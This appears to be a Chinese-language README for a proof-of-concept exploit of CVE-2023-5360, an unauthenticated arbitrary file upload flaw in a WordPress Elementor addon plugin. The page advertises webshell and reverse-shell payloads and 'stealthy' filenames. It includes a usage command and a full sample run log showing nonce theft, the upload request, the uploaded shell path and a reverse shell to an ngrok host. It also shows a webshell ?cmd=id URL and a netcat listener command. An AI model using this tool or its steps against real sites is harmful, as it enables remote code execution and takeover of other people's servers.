CVE-2023-5360 Elementor 文件上传漏洞利用

Royal Elementor Addons and Templates WordPress 插件 1.3.79 之前的版本未能正确验证上传的文件，这可能允许未认证用户上传任意文件（如 PHP）并实现远程代码执行（RCE）。

   _______    ________     
  / ____/ |  / / ____/     
 / /    | | / / __/______  
/ /___  | |/ /__/_____/  
\____/  |___/_____/_____   
  |__ \ / __ \__ \|__  /   
  __/ // / / /_/ / /_ <    
 / __// /_/ / __/___/ /    
/____/\____/____/____/____ 
   / ____/__  // ___// __ \
  /___ \  /_ </ __ \/ / / /
 ____/ /___/ / /_/ / /_/ / 
/_____//____/\____/\____/  

by X3RX3S

描述

这是针对 CVE-2023-5360 的概念验证漏洞利用程序，该漏洞是 Elementor Pro for WordPress 中的一个文件上传漏洞。它允许未认证的攻击者上传任意 PHP 文件并获得远程代码执行能力。

特性

自动获取 Elementor nonce
上传简单的 webshell 或反弹 shell
使用唯一文件名以隐蔽行事
可选的 Netcat 监听辅助
非常酷炫

使用方法

python3 CVE-2023-5360.py <https://victim.site/>

示例：

python3 CVE-2023-5360.py https://victim.site/


      _______    ________     
     / ____/ |  / / ____/     
    / /    | | / / __/______  
   / /___  | |/ /__/_____/  
   \____/  |___/_____/_____   
       |__ \ / __ \__ \|__  /   
       __/ // / / /_/ / /_ <    
      / __// /_/ / __/___/ /    
     /____/\____/____/____/____ 
         / ____/__  // ___// __ \
        /___ \  /_ </ __ \/ / / /
       ____/ /___/ / /_/ / /_/ / 
      /_____//____/\____/\____/  

         github.com/X3RX3SSec    
      by X3RX3S aka @mindfuckerrrr


[+] Target: https://victim.site
[+] Elementor page: https://victim.site)
[*] Step 1: Grabbing Elementor nonce...
[+] HTTP 200 received from target
[+] Nonce extracted: fdcb5015cd

[*] Step 2: Configure payload
  [1] Simple command webshell
  [2] Reverse shell (bash)
[?] Choose payload [1/2]: 2
[?] LHOST (your IP): 7.tcp.eu.ngrok.io
[?] LPORT (your PORT): 31337
[+] Reverse shell payload generated for 7.tcp.eu.ngrok.io:31337
[?] Start built-in listener? [Y/n]: Y
[+] Starting local listener on 7.tcp.eu.ngrok.io:31337...

[*] Attempt 1 of 3: Uploading payload via AJAX exploit...
[>] POST https://victim.site/wp-admin/admin-ajax.php
listening on [any] 31337 ...
[+] HTTP 200 from upload handler
[+] Shell uploaded: https://victim.site/wp-content/uploads/wpr-addons/forms/shell-6253.php
[*] Triggering reverse shell. Have your listener ready!
[+] Trigger sent (timeout is normal for reverse shell).
[+] Arrr! Cannons fired. Check your listener! 🏴‍☠️💣

有效载荷选项：

简单命令 webshell（?cmd=id，例如：https://victim.site/wp-content/uploads/wpr-addons/forms/shell.php?cmd=id）
反弹 shell（Bash）

依赖

Python 3.x
requests 模块

安装依赖：

pip install requests

监听器示例

nc -lvnp 1337

免责声明

此漏洞利用程序仅供教育和授权安全测试使用。您应对使用方式负责。请仅在您拥有或获得测试许可的系统上进行测试。

致谢

作者： X3RX3S CVE-2023-5360

CVE-2023-5360

最受欢迎

CVE-2023-5360 Elementor 文件上传漏洞利用

描述

特性

使用方法

依赖

监听器示例

免责声明

致谢